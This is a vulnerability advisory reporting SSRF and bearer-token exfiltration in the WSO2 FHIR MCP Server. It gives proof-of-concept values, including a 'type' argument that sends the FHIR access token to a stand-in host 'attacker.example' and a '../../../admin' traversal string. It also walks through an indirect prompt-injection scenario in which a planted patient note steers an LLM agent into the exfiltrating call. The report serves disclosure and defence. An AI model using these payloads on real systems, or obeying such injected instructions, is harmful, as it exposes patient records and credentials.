Server-Side Request Forgery and bearer-token exfiltration in WSO2 FHIR MCP Server

Metadata

Product	WSO2 FHIR MCP Server (`wso2/fhir-mcp-server`)
Affected version	0.10.0 and earlier (commit `6307fe719e4d5234b6b1d87a2c49e3eef296d82a`)
Component	`src/fhir_mcp_server/server.py` — `read`, `search`, `create`, `update` tools
Vulnerability class	Server-Side Request Forgery (CWE-918); Improper Input Validation (CWE-20)
Severity	High — CVSS 3.1 `AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:N` (8.0)

Summary

The FHIR data tools forward the caller-supplied `type`, `id`, and `operation` arguments into the underlying FHIR HTTP client without validating them against the server's CapabilityStatement or any allowlist. The only check applied is that `type` is non-empty. Because the client (`fhirpy` 2.2.0) constructs the outbound request URL directly from these values and enforces only a substring-based origin check, a crafted `type` value causes the server to issue an authenticated request — carrying the FHIR `Authorization: Bearer` token — to an attacker-chosen destination. This enables theft of the FHIR access token and server-side request forgery against the FHIR host.

In an agent deployment the tool arguments are produced by an LLM that processes FHIR resource content. An attacker who can place text into any FHIR resource the agent later reads (patient name, note, address, and similar free-text fields) can trigger the vulnerable call through indirect prompt injection, without any access to the MCP server itself.

Affected code

Each data tool validates only that `type` is present, then passes it straight through:

```
# read tool — src/fhir_mcp_server/server.py
if not type:
    return await get_operation_outcome_required_error("type")
client = await get_async_fhir_client()
bundle = await client.resource(resource_type=type, id=id).execute(
    operation=operation or "", method="GET", params=searchParam
)
```

`search` (`client.resources(type).search(Raw(**searchParam))`), `create`, and `update` follow the same pattern. The `get_capabilities` tool does validate `type` against the CapabilityStatement, but it is a separate tool the model is only *instructed* to call first; nothing enforces that ordering, and the data tools perform no such check themselves.

Root cause

`fhirpy` builds the request URL from the resource path and applies a single origin guard (`fhirpy/base/client.py`, `_build_request_url`):

```
if URL(path).is_absolute():
    if self.url in path:          # substring check only
        return path
    raise ValueError(...)
```

The library is designed for trusted callers. The MCP server supplies untrusted, model- and data-influenced values, so this guard is insufficient: any absolute URL that contains the configured base URL as a substring passes, and relative paths containing `../` escape the base path entirely.

Proof of concept

Two variants were verified against `fhirpy` 2.2.0 using the exact call the `read` tool makes.

Variant 1 — bearer-token exfiltration to an external host

`type = "http://attacker.example/steal?leak=<FHIR_BASE_URL>"`. The value is an absolute URL that contains the base URL as a query-string substring, so the origin guard passes and the request is sent verbatim to the attacker host, including the Authorization header.

```
--- attacker server received ---
Host          : attacker host
Path          : /steal?leak=<FHIR_BASE_URL>/1/
Authorization : Bearer <FHIR-ACCESS-TOKEN>
Token exfiltrated: True
```

The base URL required by the substring guard is not secret: it is returned by the `get_capabilities` / metadata flow (`CapabilityStatement.implementation.url`) and appears in Bundle `fullUrl` fields, so it is discoverable within a normal session.

Variant 2 — same-host SSRF / base-path escape (no preconditions)

`type = "../../../admin"`. A relative traversal value needs no knowledge of the deployment. The request escapes the configured `/fhir/r4` base path and is delivered, with the token, to an arbitrary path on the FHIR host:

```
--- requests received by the FHIR host ---
path='/admin/x/'      token_forwarded=True
path='/metadata/x/'   token_forwarded=True
```

Both PoC scripts are attached (`poc_ssrf_token_exfil.py`, `poc_traversal_ssrf.py`) and run against `fhirpy==2.2.0`.

Impact

- **Credential theft.** The FHIR OAuth access token is disclosed to an attacker-controlled host. With it the attacker reads and writes patient records directly on the FHIR server, a full compromise of the protected health information the token can reach.
- **Server-side request forgery.** Authenticated requests can be directed at arbitrary external hosts or at internal endpoints on the FHIR host that sit outside the intended FHIR base path.
- **Trigger without host access.** The vulnerable arguments originate from the LLM, so the attack is reachable through indirect prompt injection embedded in attacker-writable FHIR content (patient portals, intake forms, externally sourced records).

Attack scenario

1. An attacker submits a record to the FHIR server (for example, a patient-supplied note) containing a prompt-injection payload instructing the agent to read resource type `http://attacker.example/x?leak=<base url>`.
2. A clinician later asks the AI agent to summarize that patient. The agent reads the record via the `search` / `read` tools and processes the injected instruction.
3. The agent calls `read` with the attacker's `type`. The MCP server issues the request, including its FHIR bearer token, to the attacker host.
4. The attacker replays the token against the FHIR server and accesses PHI at will.

Severity rationale

Confidentiality and integrity impact are High (disclosure of a PHI-bearing credential and the ability to write to the FHIR server), and the scope is Changed because a flaw in the MCP server compromises a separate authority (the FHIR server). Attack Complexity is High: the attacker must place content into a resource the agent reads and, for external exfiltration, include the discoverable base URL. This yields CVSS 3.1 8.0 (High). Deployments where the agent reads records autonomously (User Interaction: None) score higher.

Remediation

1. Validate `type` inside every data tool against the CapabilityStatement resource types (reuse the existing `get_capabilities` logic) and reject anything that is not an exact match. FHIR resource types match `^[A-Z][A-Za-z]+$`.
2. Constrain `id` and `operation` to their FHIR grammars — `id` to `^[A-Za-z0-9\-\.]{1,64}$`, `operation` to a `$`-prefixed name from the CapabilityStatement — and reject any value containing a scheme, `//`, `..`, `?`, `#`, or path separators.
3. Optionally report the substring-based origin guard to the `fhirpy` maintainers (beda-software) so callers are defended in depth.

Disclosure

Reported privately to WSO2 (Open Healthcare security list) prior to any public disclosure. Reporter: Clinton Obi, clinton.obi@vnsis.com. Happy to provide any further detail or verification.